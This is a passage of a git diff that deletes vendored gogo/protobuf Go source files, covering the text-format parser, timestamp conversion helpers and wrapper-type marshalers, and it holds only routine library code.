Can only be done between calls to next(). -// It makes the next advance() a no-op. -func (p *textParser) back() { p.backed = true } - -// Advances the parser and returns the new current token. -func (p *textParser) next() *token { - if p.backed || p.done { - p.backed = false - return &p.cur - } - p.advance() - if p.done { - p.cur.value = "" - } else if len(p.cur.value) > 0 && isQuote(p.cur.value[0]) { - // Look for multiple quoted strings separated by whitespace, - // and concatenate them. - cat := p.cur - for { - p.skipWhitespace() - if p.done || !isQuote(p.s[0]) { - break - } - p.advance() - if p.cur.err != nil { - return &p.cur - } - cat.value += " " + p.cur.value - cat.unquoted += p.cur.unquoted - } - p.done = false // parser may have seen EOF, but we want to return cat - p.cur = cat - } - return &p.cur -} - -func (p *textParser) consumeToken(s string) error { - tok := p.next() - if tok.err != nil { - return tok.err - } - if tok.value != s { - p.back() - return p.errorf("expected %q, found %q", s, tok.value) - } - return nil -} - -// Return a RequiredNotSetError indicating which required field was not set. -func (p *textParser) missingRequiredFieldError(sv reflect.Value) *RequiredNotSetError { - st := sv.Type() - sprops := GetProperties(st) - for i := 0; i < st.NumField(); i++ { - if !isNil(sv.Field(i)) { - continue - } - - props := sprops.Prop[i] - if props.Required { - return &RequiredNotSetError{fmt.Sprintf("%v.%v", st, props.OrigName)} - } - } - return &RequiredNotSetError{fmt.Sprintf("%v.", st)} // should not happen -} - -// Returns the index in the struct for the named field, as well as the parsed tag properties. -func structFieldByName(sprops *StructProperties, name string) (int, *Properties, bool) { - i, ok := sprops.decoderOrigNames[name] - if ok { - return i, sprops.Prop[i], true - } - return -1, nil, false -} - -// Consume a ':' from the input stream (if the next token is a colon), -// returning an error if a colon is needed but not present. -func (p *textParser) checkForColon(props *Properties, typ reflect.Type) *ParseError { - tok := p.next() - if tok.err != nil { - return tok.err - } - if tok.value != ":" { - // Colon is optional when the field is a group or message. - needColon := true - switch props.Wire { - case "group": - needColon = false - case "bytes": - // A "bytes" field is either a message, a string, or a repeated field; - // those three become *T, *string and []T respectively, so we can check for - // this field being a pointer to a non-string. - if typ.Kind() == reflect.Ptr { - // *T or *string - if typ.Elem().Kind() == reflect.String { - break - } - } else if typ.Kind() == reflect.Slice { - // []T or []*T - if typ.Elem().Kind() != reflect.Ptr { - break - } - } else if typ.Kind() == reflect.String { - // The proto3 exception is for a string field, - // which requires a colon. - break - } - needColon = false - } - if needColon { - return p.errorf("expected ':', found %q", tok.value) - } - p.back() - } - return nil -} - -func (p *textParser) readStruct(sv reflect.Value, terminator string) error { - st := sv.Type() - sprops := GetProperties(st) - reqCount := sprops.reqCount - var reqFieldErr error - fieldSet := make(map[string]bool) - // A struct is a sequence of "name: value", terminated by one of - // '>' or '}', or the end of the input. A name may also be - // "[extension]" or "[type/url]". - // - // The whole struct can also be an expanded Any message, like: - // [type/url] < ... struct contents ... > - for { - tok := p.next() - if tok.err != nil { - return tok.err - } - if tok.value == terminator { - break - } - if tok.value == "[" { - // Looks like an extension or an Any. - // - // TODO: Check whether we need to handle - // namespace rooted names (e.g. ".something.Foo"). - extName, err := p.consumeExtName() - if err != nil { - return err - } - - if s := strings.LastIndex(extName, "/"); s >= 0 { - // If it contains a slash, it's an Any type URL. - messageName := extName[s+1:] - mt := MessageType(messageName) - if mt == nil { - return p.errorf("unrecognized message %q in google.protobuf.Any", messageName) - } - tok = p.next() - if tok.err != nil { - return tok.err - } - // consume an optional colon - if tok.value == ":" { - tok = p.next() - if tok.err != nil { - return tok.err - } - } - var terminator string - switch tok.value { - case "<": - terminator = ">" - case "{": - terminator = "}" - default: - return p.errorf("expected '{' or '<', found %q", tok.value) - } - v := reflect.New(mt.Elem()) - if pe := p.readStruct(v.Elem(), terminator); pe != nil { - return pe - } - b, err := Marshal(v.Interface().(Message)) - if err != nil { - return p.errorf("failed to marshal message of type %q: %v", messageName, err) - } - if fieldSet["type_url"] { - return p.errorf(anyRepeatedlyUnpacked, "type_url") - } - if fieldSet["value"] { - return p.errorf(anyRepeatedlyUnpacked, "value") - } - sv.FieldByName("TypeUrl").SetString(extName) - sv.FieldByName("Value").SetBytes(b) - fieldSet["type_url"] = true - fieldSet["value"] = true - continue - } - - var desc *ExtensionDesc - // This could be faster, but it's functional. - // TODO: Do something smarter than a linear scan. - for _, d := range RegisteredExtensions(reflect.New(st).Interface().(Message)) { - if d.Name == extName { - desc = d - break - } - } - if desc == nil { - return p.errorf("unrecognized extension %q", extName) - } - - props := &Properties{} - props.Parse(desc.Tag) - - typ := reflect.TypeOf(desc.ExtensionType) - if err := p.checkForColon(props, typ); err != nil { - return err - } - - rep := desc.repeated() - - // Read the extension structure, and set it in - // the value we're constructing. - var ext reflect.Value - if !rep { - ext = reflect.New(typ).Elem() - } else { - ext = reflect.New(typ.Elem()).Elem() - } - if err := p.readAny(ext, props); err != nil { - if _, ok := err.(*RequiredNotSetError); !ok { - return err - } - reqFieldErr = err - } - ep := sv.Addr().Interface().(Message) - if !rep { - SetExtension(ep, desc, ext.Interface()) - } else { - old, err := GetExtension(ep, desc) - var sl reflect.Value - if err == nil { - sl = reflect.ValueOf(old) // existing slice - } else { - sl = reflect.MakeSlice(typ, 0, 1) - } - sl = reflect.Append(sl, ext) - SetExtension(ep, desc, sl.Interface()) - } - if err := p.consumeOptionalSeparator(); err != nil { - return err - } - continue - } - - // This is a normal, non-extension field. - name := tok.value - var dst reflect.Value - fi, props, ok := structFieldByName(sprops, name) - if ok { - dst = sv.Field(fi) - } else if oop, ok := sprops.OneofTypes[name]; ok { - // It is a oneof. - props = oop.Prop - nv := reflect.New(oop.Type.Elem()) - dst = nv.Elem().Field(0) - field := sv.Field(oop.Field) - if !field.IsNil() { - return p.errorf("field '%s' would overwrite already parsed oneof '%s'", name, sv.Type().Field(oop.Field).Name) - } - field.Set(nv) - } - if !dst.IsValid() { - return p.errorf("unknown field name %q in %v", name, st) - } - - if dst.Kind() == reflect.Map { - // Consume any colon. - if err := p.checkForColon(props, dst.Type()); err != nil { - return err - } - - // Construct the map if it doesn't already exist. - if dst.IsNil() { - dst.Set(reflect.MakeMap(dst.Type())) - } - key := reflect.New(dst.Type().Key()).Elem() - val := reflect.New(dst.Type().Elem()).Elem() - - // The map entry should be this sequence of tokens: - // < key : KEY value : VALUE > - // However, implementations may omit key or value, and technically - // we should support them in any order. See b/28924776 for a time - // this went wrong. - - tok := p.next() - var terminator string - switch tok.value { - case "<": - terminator = ">" - case "{": - terminator = "}" - default: - return p.errorf("expected '{' or '<', found %q", tok.value) - } - for { - tok := p.next() - if tok.err != nil { - return tok.err - } - if tok.value == terminator { - break - } - switch tok.value { - case "key": - if err := p.consumeToken(":"); err != nil { - return err - } - if err := p.readAny(key, props.MapKeyProp); err != nil { - return err - } - if err := p.consumeOptionalSeparator(); err != nil { - return err - } - case "value": - if err := p.checkForColon(props.MapValProp, dst.Type().Elem()); err != nil { - return err - } - if err := p.readAny(val, props.MapValProp); err != nil { - return err - } - if err := p.consumeOptionalSeparator(); err != nil { - return err - } - default: - p.back() - return p.errorf(`expected "key", "value", or %q, found %q`, terminator, tok.value) - } - } - - dst.SetMapIndex(key, val) - continue - } - - // Check that it's not already set if it's not a repeated field. - if !props.Repeated && fieldSet[name] { - return p.errorf("non-repeated field %q was repeated", name) - } - - if err := p.checkForColon(props, dst.Type()); err != nil { - return err - } - - // Parse into the field. - fieldSet[name] = true - if err := p.readAny(dst, props); err != nil { - if _, ok := err.(*RequiredNotSetError); !ok { - return err - } - reqFieldErr = err - } - if props.Required { - reqCount-- - } - - if err := p.consumeOptionalSeparator(); err != nil { - return err - } - - } - - if reqCount > 0 { - return p.missingRequiredFieldError(sv) - } - return reqFieldErr -} - -// consumeExtName consumes extension name or expanded Any type URL and the -// following ']'. It returns the name or URL consumed. -func (p *textParser) consumeExtName() (string, error) { - tok := p.next() - if tok.err != nil { - return "", tok.err - } - - // If extension name or type url is quoted, it's a single token. - if len(tok.value) > 2 && isQuote(tok.value[0]) && tok.value[len(tok.value)-1] == tok.value[0] { - name, err := unquoteC(tok.value[1:len(tok.value)-1], rune(tok.value[0])) - if err != nil { - return "", err - } - return name, p.consumeToken("]") - } - - // Consume everything up to "]" - var parts []string - for tok.value != "]" { - parts = append(parts, tok.value) - tok = p.next() - if tok.err != nil { - return "", p.errorf("unrecognized type_url or extension name: %s", tok.err) - } - if p.done && tok.value != "]" { - return "", p.errorf("unclosed type_url or extension name") - } - } - return strings.Join(parts, ""), nil -} - -// consumeOptionalSeparator consumes an optional semicolon or comma. -// It is used in readStruct to provide backward compatibility. -func (p *textParser) consumeOptionalSeparator() error { - tok := p.next() - if tok.err != nil { - return tok.err - } - if tok.value != ";" && tok.value != "," { - p.back() - } - return nil -} - -func (p *textParser) readAny(v reflect.Value, props *Properties) error { - tok := p.next() - if tok.err != nil { - return tok.err - } - if tok.value == "" { - return p.errorf("unexpected EOF") - } - if len(props.CustomType) > 0 { - if props.Repeated { - t := reflect.TypeOf(v.Interface()) - if t.Kind() == reflect.Slice { - tc := reflect.TypeOf(new(Marshaler)) - ok := t.Elem().Implements(tc.Elem()) - if ok { - fv := v - flen := fv.Len() - if flen == fv.Cap() { - nav := reflect.MakeSlice(v.Type(), flen, 2*flen+1) - reflect.Copy(nav, fv) - fv.Set(nav) - } - fv.SetLen(flen + 1) - - // Read one. - p.back() - return p.readAny(fv.Index(flen), props) - } - } - } - if reflect.TypeOf(v.Interface()).Kind() == reflect.Ptr { - custom := reflect.New(props.ctype.Elem()).Interface().(Unmarshaler) - err := custom.Unmarshal([]byte(tok.unquoted)) - if err != nil { - return p.errorf("%v %v: %v", err, v.Type(), tok.value) - } - v.Set(reflect.ValueOf(custom)) - } else { - custom := reflect.New(reflect.TypeOf(v.Interface())).Interface().(Unmarshaler) - err := custom.Unmarshal([]byte(tok.unquoted)) - if err != nil { - return p.errorf("%v %v: %v", err, v.Type(), tok.value) - } - v.Set(reflect.Indirect(reflect.ValueOf(custom))) - } - return nil - } - if props.StdTime { - fv := v - p.back() - props.StdTime = false - tproto := ×tamp{} - err := p.readAny(reflect.ValueOf(tproto).Elem(), props) - props.StdTime = true - if err != nil { - return err - } - tim, err := timestampFromProto(tproto) - if err != nil { - return err - } - if props.Repeated { - t := reflect.TypeOf(v.Interface()) - if t.Kind() == reflect.Slice { - if t.Elem().Kind() == reflect.Ptr { - ts := fv.Interface().([]*time.Time) - ts = append(ts, &tim) - fv.Set(reflect.ValueOf(ts)) - return nil - } else { - ts := fv.Interface().([]time.Time) - ts = append(ts, tim) - fv.Set(reflect.ValueOf(ts)) - return nil - } - } - } - if reflect.TypeOf(v.Interface()).Kind() == reflect.Ptr { - v.Set(reflect.ValueOf(&tim)) - } else { - v.Set(reflect.Indirect(reflect.ValueOf(&tim))) - } - return nil - } - if props.StdDuration { - fv := v - p.back() - props.StdDuration = false - dproto := &duration{} - err := p.readAny(reflect.ValueOf(dproto).Elem(), props) - props.StdDuration = true - if err != nil { - return err - } - dur, err := durationFromProto(dproto) - if err != nil { - return err - } - if props.Repeated { - t := reflect.TypeOf(v.Interface()) - if t.Kind() == reflect.Slice { - if t.Elem().Kind() == reflect.Ptr { - ds := fv.Interface().([]*time.Duration) - ds = append(ds, &dur) - fv.Set(reflect.ValueOf(ds)) - return nil - } else { - ds := fv.Interface().([]time.Duration) - ds = append(ds, dur) - fv.Set(reflect.ValueOf(ds)) - return nil - } - } - } - if reflect.TypeOf(v.Interface()).Kind() == reflect.Ptr { - v.Set(reflect.ValueOf(&dur)) - } else { - v.Set(reflect.Indirect(reflect.ValueOf(&dur))) - } - return nil - } - switch fv := v; fv.Kind() { - case reflect.Slice: - at := v.Type() - if at.Elem().Kind() == reflect.Uint8 { - // Special case for []byte - if tok.value[0] != '"' && tok.value[0] != '\'' { - // Deliberately written out here, as the error after - // this switch statement would write "invalid []byte: ...", - // which is not as user-friendly. - return p.errorf("invalid string: %v", tok.value) - } - bytes := []byte(tok.unquoted) - fv.Set(reflect.ValueOf(bytes)) - return nil - } - // Repeated field. - if tok.value == "[" { - // Repeated field with list notation, like [1,2,3]. - for { - fv.Set(reflect.Append(fv, reflect.New(at.Elem()).Elem())) - err := p.readAny(fv.Index(fv.Len()-1), props) - if err != nil { - return err - } - ntok := p.next() - if ntok.err != nil { - return ntok.err - } - if ntok.value == "]" { - break - } - if ntok.value != "," { - return p.errorf("Expected ']' or ',' found %q", ntok.value) - } - } - return nil - } - // One value of the repeated field. - p.back() - fv.Set(reflect.Append(fv, reflect.New(at.Elem()).Elem())) - return p.readAny(fv.Index(fv.Len()-1), props) - case reflect.Bool: - // true/1/t/True or false/f/0/False. - switch tok.value { - case "true", "1", "t", "True": - fv.SetBool(true) - return nil - case "false", "0", "f", "False": - fv.SetBool(false) - return nil - } - case reflect.Float32, reflect.Float64: - v := tok.value - // Ignore 'f' for compatibility with output generated by C++, but don't - // remove 'f' when the value is "-inf" or "inf". - if strings.HasSuffix(v, "f") && tok.value != "-inf" && tok.value != "inf" { - v = v[:len(v)-1] - } - if f, err := strconv.ParseFloat(v, fv.Type().Bits()); err == nil { - fv.SetFloat(f) - return nil - } - case reflect.Int8: - if x, err := strconv.ParseInt(tok.value, 0, 8); err == nil { - fv.SetInt(x) - return nil - } - case reflect.Int16: - if x, err := strconv.ParseInt(tok.value, 0, 16); err == nil { - fv.SetInt(x) - return nil - } - case reflect.Int32: - if x, err := strconv.ParseInt(tok.value, 0, 32); err == nil { - fv.SetInt(x) - return nil - } - - if len(props.Enum) == 0 { - break - } - m, ok := enumValueMaps[props.Enum] - if !ok { - break - } - x, ok := m[tok.value] - if !ok { - break - } - fv.SetInt(int64(x)) - return nil - case reflect.Int64: - if x, err := strconv.ParseInt(tok.value, 0, 64); err == nil { - fv.SetInt(x) - return nil - } - - case reflect.Ptr: - // A basic field (indirected through pointer), or a repeated message/group - p.back() - fv.Set(reflect.New(fv.Type().Elem())) - return p.readAny(fv.Elem(), props) - case reflect.String: - if tok.value[0] == '"' || tok.value[0] == '\'' { - fv.SetString(tok.unquoted) - return nil - } - case reflect.Struct: - var terminator string - switch tok.value { - case "{": - terminator = "}" - case "<": - terminator = ">" - default: - return p.errorf("expected '{' or '<', found %q", tok.value) - } - // TODO: Handle nested messages which implement encoding.TextUnmarshaler. - return p.readStruct(fv, terminator) - case reflect.Uint8: - if x, err := strconv.ParseUint(tok.value, 0, 8); err == nil { - fv.SetUint(x) - return nil - } - case reflect.Uint16: - if x, err := strconv.ParseUint(tok.value, 0, 16); err == nil { - fv.SetUint(x) - return nil - } - case reflect.Uint32: - if x, err := strconv.ParseUint(tok.value, 0, 32); err == nil { - fv.SetUint(uint64(x)) - return nil - } - case reflect.Uint64: - if x, err := strconv.ParseUint(tok.value, 0, 64); err == nil { - fv.SetUint(x) - return nil - } - } - return p.errorf("invalid %v: %v", v.Type(), tok.value) -} - -// UnmarshalText reads a protocol buffer in Text format. UnmarshalText resets pb -// before starting to unmarshal, so any existing data in pb is always removed. -// If a required field is not set and no other error occurs, -// UnmarshalText returns *RequiredNotSetError. -func UnmarshalText(s string, pb Message) error { - if um, ok := pb.(encoding.TextUnmarshaler); ok { - return um.UnmarshalText([]byte(s)) - } - pb.Reset() - v := reflect.ValueOf(pb) - return newTextParser(s).readStruct(v.Elem(), "") -} diff --git a/vendor/github.com/gogo/protobuf/proto/timestamp.go b/vendor/github.com/gogo/protobuf/proto/timestamp.go deleted file mode 100644 index 9324f654..00000000 --- a/vendor/github.com/gogo/protobuf/proto/timestamp.go +++ /dev/null @@ -1,113 +0,0 @@ -// Go support for Protocol Buffers - Google's data interchange format -// -// Copyright 2016 The Go Authors. All rights reserved. -// https://github.com/golang/protobuf -// -// Redistribution and use in source and binary forms, with or without -// modification, are permitted provided that the following conditions are -// met: -// -// * Redistributions of source code must retain the above copyright -// notice, this list of conditions and the following disclaimer. -// * Redistributions in binary form must reproduce the above -// copyright notice, this list of conditions and the following disclaimer -// in the documentation and/or other materials provided with the -// distribution. -// * Neither the name of Google Inc. nor the names of its -// contributors may be used to endorse or promote products derived from -// this software without specific prior written permission. -// -// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -// A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -// OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -// SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -// LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -// DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. - -package proto - -// This file implements operations on google.protobuf.Timestamp. - -import ( - "errors" - "fmt" - "time" -) - -const ( - // Seconds field of the earliest valid Timestamp. - // This is time.Date(1, 1, 1, 0, 0, 0, 0, time.UTC).Unix(). - minValidSeconds = -62135596800 - // Seconds field just after the latest valid Timestamp. - // This is time.Date(10000, 1, 1, 0, 0, 0, 0, time.UTC).Unix(). - maxValidSeconds = 253402300800 -) - -// validateTimestamp determines whether a Timestamp is valid. -// A valid timestamp represents a time in the range -// [0001-01-01, 10000-01-01) and has a Nanos field -// in the range [0, 1e9). -// -// If the Timestamp is valid, validateTimestamp returns nil. -// Otherwise, it returns an error that describes -// the problem. -// -// Every valid Timestamp can be represented by a time.Time, but the converse is not true. -func validateTimestamp(ts *timestamp) error { - if ts == nil { - return errors.New("timestamp: nil Timestamp") - } - if ts.Seconds < minValidSeconds { - return fmt.Errorf("timestamp: %#v before 0001-01-01", ts) - } - if ts.Seconds >= maxValidSeconds { - return fmt.Errorf("timestamp: %#v after 10000-01-01", ts) - } - if ts.Nanos < 0 || ts.Nanos >= 1e9 { - return fmt.Errorf("timestamp: %#v: nanos not in range [0, 1e9)", ts) - } - return nil -} - -// TimestampFromProto converts a google.protobuf.Timestamp proto to a time.Time. -// It returns an error if the argument is invalid. -// -// Unlike most Go functions, if Timestamp returns an error, the first return value -// is not the zero time.Time. Instead, it is the value obtained from the -// time.Unix function when passed the contents of the Timestamp, in the UTC -// locale. This may or may not be a meaningful time; many invalid Timestamps -// do map to valid time.Times. -// -// A nil Timestamp returns an error. The first return value in that case is -// undefined. -func timestampFromProto(ts *timestamp) (time.Time, error) { - // Don't return the zero value on error, because corresponds to a valid - // timestamp. Instead return whatever time.Unix gives us. - var t time.Time - if ts == nil { - t = time.Unix(0, 0).UTC() // treat nil like the empty Timestamp - } else { - t = time.Unix(ts.Seconds, int64(ts.Nanos)).UTC() - } - return t, validateTimestamp(ts) -} - -// TimestampProto converts the time.Time to a google.protobuf.Timestamp proto. -// It returns an error if the resulting Timestamp is invalid. -func timestampProto(t time.Time) (*timestamp, error) { - seconds := t.Unix() - nanos := int32(t.Sub(time.Unix(seconds, 0))) - ts := ×tamp{ - Seconds: seconds, - Nanos: nanos, - } - if err := validateTimestamp(ts); err != nil { - return nil, err - } - return ts, nil -} diff --git a/vendor/github.com/gogo/protobuf/proto/timestamp_gogo.go b/vendor/github.com/gogo/protobuf/proto/timestamp_gogo.go deleted file mode 100644 index 38439fa9..00000000 --- a/vendor/github.com/gogo/protobuf/proto/timestamp_gogo.go +++ /dev/null @@ -1,49 +0,0 @@ -// Protocol Buffers for Go with Gadgets -// -// Copyright (c) 2016, The GoGo Authors. All rights reserved. -// http://github.com/gogo/protobuf -// -// Redistribution and use in source and binary forms, with or without -// modification, are permitted provided that the following conditions are -// met: -// -// * Redistributions of source code must retain the above copyright -// notice, this list of conditions and the following disclaimer. -// * Redistributions in binary form must reproduce the above -// copyright notice, this list of conditions and the following disclaimer -// in the documentation and/or other materials provided with the -// distribution. -// -// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -// A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -// OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -// SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -// LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -// DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. - -package proto - -import ( - "reflect" - "time" -) - -var timeType = reflect.TypeOf((*time.Time)(nil)).Elem() - -type timestamp struct { - Seconds int64 `protobuf:"varint,1,opt,name=seconds,proto3" json:"seconds,omitempty"` - Nanos int32 `protobuf:"varint,2,opt,name=nanos,proto3" json:"nanos,omitempty"` -} - -func (m *timestamp) Reset() { *m = timestamp{} } -func (*timestamp) ProtoMessage() {} -func (*timestamp) String() string { return "timestamp" } - -func init() { - RegisterType((*timestamp)(nil), "gogo.protobuf.proto.timestamp") -} diff --git a/vendor/github.com/gogo/protobuf/proto/wrappers.go b/vendor/github.com/gogo/protobuf/proto/wrappers.go deleted file mode 100644 index b175d1b6..00000000 --- a/vendor/github.com/gogo/protobuf/proto/wrappers.go +++ /dev/null @@ -1,1888 +0,0 @@ -// Protocol Buffers for Go with Gadgets -// -// Copyright (c) 2018, The GoGo Authors. All rights reserved. -// http://github.com/gogo/protobuf -// -// Redistribution and use in source and binary forms, with or without -// modification, are permitted provided that the following conditions are -// met: -// -// * Redistributions of source code must retain the above copyright -// notice, this list of conditions and the following disclaimer. -// * Redistributions in binary form must reproduce the above -// copyright notice, this list of conditions and the following disclaimer -// in the documentation and/or other materials provided with the -// distribution. -// -// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -// A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -// OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -// SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -// LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -// DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. - -package proto - -import ( - "io" - "reflect" -) - -func makeStdDoubleValueMarshaler(u *marshalInfo) (sizer, marshaler) { - return func(ptr pointer, tagsize int) int { - t := ptr.asPointerTo(u.typ).Interface().(*float64) - v := &float64Value{*t} - siz := Size(v) - return tagsize + SizeVarint(uint64(siz)) + siz - }, func(b []byte, ptr pointer, wiretag uint64, deterministic bool) ([]byte, error) { - t := ptr.asPointerTo(u.typ).Interface().(*float64) - v := &float64Value{*t} - buf, err := Marshal(v) - if err != nil { - return nil, err - } - b = appendVarint(b, wiretag) - b = appendVarint(b, uint64(len(buf))) - b = append(b, buf...) - return b, nil - } -} - -func makeStdDoubleValuePtrMarshaler(u *marshalInfo) (sizer, marshaler) { - return func(ptr pointer, tagsize int) int { - if ptr.isNil() { - return 0 - } - t := ptr.asPointerTo(reflect.PtrTo(u.typ)).Elem().Interface().(*float64) - v := &float64Value{*t} - siz := Size(v) - return tagsize + SizeVarint(uint64(siz)) + siz - }, func(b []byte, ptr pointer, wiretag uint64, deterministic bool) ([]byte, error) { - if ptr.isNil() { - return b, nil - } - t := ptr.asPointerTo(reflect.PtrTo(u.typ)).Elem().Interface().(*float64) - v := &float64Value{*t} - buf, err := Marshal(v) - if err != nil { - return nil, err - } - b = appendVarint(b, wiretag) - b = appendVarint(b, uint64(len(buf))) - b = append(b, buf...) - return b, nil - } -} - -func makeStdDoubleValueSliceMarshaler(u *marshalInfo) (sizer, marshaler) { - return func(ptr pointer, tagsize int) int { - s := ptr.getSlice(u.typ) - n := 0 - for i := 0; i < s.Len(); i++ { - elem := s.Index(i) - t := elem.Interface().(float64) - v := &float64Value{t} - siz := Size(v) - n += siz + SizeVarint(uint64(siz)) + tagsize - } - return n - }, - func(b []byte, ptr pointer, wiretag uint64, deterministic bool) ([]byte, error) { - s := ptr.getSlice(u.typ) - for i := 0; i < s.Len(); i++ { - elem := s.Index(i) - t := elem.Interface().(float64) - v := &float64Value{t} - siz := Size(v) - buf, err := Marshal(v) - if err != nil { - return nil, err - } - b = appendVarint(b, wiretag) - b = appendVarint(b, uint64(siz)) - b = append(b, buf...) - } - - return b, nil - } -} - -func makeStdDoubleValuePtrSliceMarshaler(u *marshalInfo) (sizer, marshaler) { - return func(ptr pointer, tagsize int) int { - s := ptr.getSlice(reflect.PtrTo(u.typ)) - n := 0 - for i := 0; i < s.Len(); i++ { - elem := s.Index(i) - t := elem.Interface().(*float64) - v := &float64Value{*t} - siz := Size(v) - n += siz + SizeVarint(uint64(siz)) + tagsize - } - return n - }, - func(b []byte, ptr pointer, wiretag uint64, deterministic bool) ([]byte, error) { - s := ptr.getSlice(reflect.PtrTo(u.typ)) - for i := 0; i < s.Len(); i++ { - elem := s.Index(i) - t := elem.Interface().(*float64) - v := &float64Value{*t} - siz := Size(v) - buf, err := Marshal(v) - if err != nil { - return nil, err - } - b = appendVarint(b, wiretag) - b = appendVarint(b, uint64(siz)) - b = append(b, buf...) - } - - return b, nil - } -} - -func makeStdDoubleValueUnmarshaler(sub *unmarshalInfo, name string) unmarshaler { - return func(b []byte, f pointer, w int) ([]byte, error) { - if w != WireBytes { - return nil, errInternalBadWireType - } - x, n := decodeVarint(b) - if n == 0 { - return nil, io.ErrUnexpectedEOF - } - b = b[n:] - if x > uint64(len(b)) { - return nil, io.ErrUnexpectedEOF - } - m := &float64Value{} - if err := Unmarshal(b[:x], m); err != nil { - return nil, err - } - s := f.asPointerTo(sub.typ).Elem() - s.Set(reflect.ValueOf(m.Value)) - return b[x:], nil - } -} - -func makeStdDoubleValuePtrUnmarshaler(sub *unmarshalInfo, name string) unmarshaler { - return func(b []byte, f pointer, w int) ([]byte, error) { - if w != WireBytes { - return nil, errInternalBadWireType - } - x, n := decodeVarint(b) - if n == 0 { - return nil, io.ErrUnexpectedEOF - } - b = b[n:] - if x > uint64(len(b)) { - return nil, io.ErrUnexpectedEOF - } - m := &float64Value{} - if err := Unmarshal(b[:x], m); err != nil { - return nil, err - } - s := f.asPointerTo(reflect.PtrTo(sub.typ)).Elem() - s.Set(reflect.ValueOf(&m.Value)) - return b[x:], nil - } -} - -func makeStdDoubleValuePtrSliceUnmarshaler(sub *unmarshalInfo, name string) unmarshaler { - return func(b []byte, f pointer, w int) ([]byte, error) { - if w != WireBytes { - return nil, errInternalBadWireType - } - x, n := decodeVarint(b) - if n == 0 { - return nil, io.ErrUnexpectedEOF - } - b = b[n:] - if x > uint64(len(b)) { - return nil, io.ErrUnexpectedEOF - } - m := &float64Value{} - if err := Unmarshal(b[:x], m); err != nil { - return nil, err - } - slice := f.getSlice(reflect.PtrTo(sub.typ)) - newSlice := reflect.Append(slice, reflect.ValueOf(&m.Value)) - slice.Set(newSlice) - return b[x:], nil - } -} - -func makeStdDoubleValueSliceUnmarshaler(sub *unmarshalInfo, name string) unmarshaler { - return func(b []byte, f pointer, w int) ([]byte, error) { - if w != WireBytes { - return nil, errInternalBadWireType - } - x, n := decodeVarint(b) - if n == 0 { - return nil, io.ErrUnexpectedEOF - } - b = b[n:] - if x > uint64(len(b)) { - return nil, io.ErrUnexpectedEOF - } - m := &float64Value{} - if err := Unmarshal(b[:x], m); err != nil { - return nil, err - } - slice := f.getSlice(sub.typ) - newSlice := reflect.Append(slice, reflect.ValueOf(m.Value)) - slice.Set(newSlice) - return b[x:], nil - } -} - -func makeStdFloatValueMarshaler(u *marshalInfo) (sizer, marshaler) { - return func(ptr pointer, tagsize int) int { - t := ptr.asPointerTo(u.typ).Interface().(*float32) - v := &float32Value{*t} - siz := Size(v) - return tagsize + SizeVarint(uint64(siz)) + siz - }, func(b []byte, ptr pointer, wiretag uint64, deterministic bool) ([]byte, error) { - t := ptr.asPointerTo(u.typ).Interface().(*float32) - v := &float32Value{*t} - buf, err := Marshal(v) - if err != nil { - return nil, err - } - b = appendVarint(b, wiretag) - b = appendVarint(b, uint64(len(buf))) - b = append(b, buf...) - return b, nil - } -} - -func makeStdFloatValuePtrMarshaler(u *marshalInfo) (sizer, marshaler) { - return func(ptr pointer, tagsize int) int { - if ptr.isNil() { - return 0 - } - t := ptr.asPointerTo(reflect.PtrTo(u.typ)).Elem().Interface().(*float32) - v := &float32Value{*t} - siz := Size(v) - return tagsize + SizeVarint(uint64(siz)) + siz - }, func(b []byte, 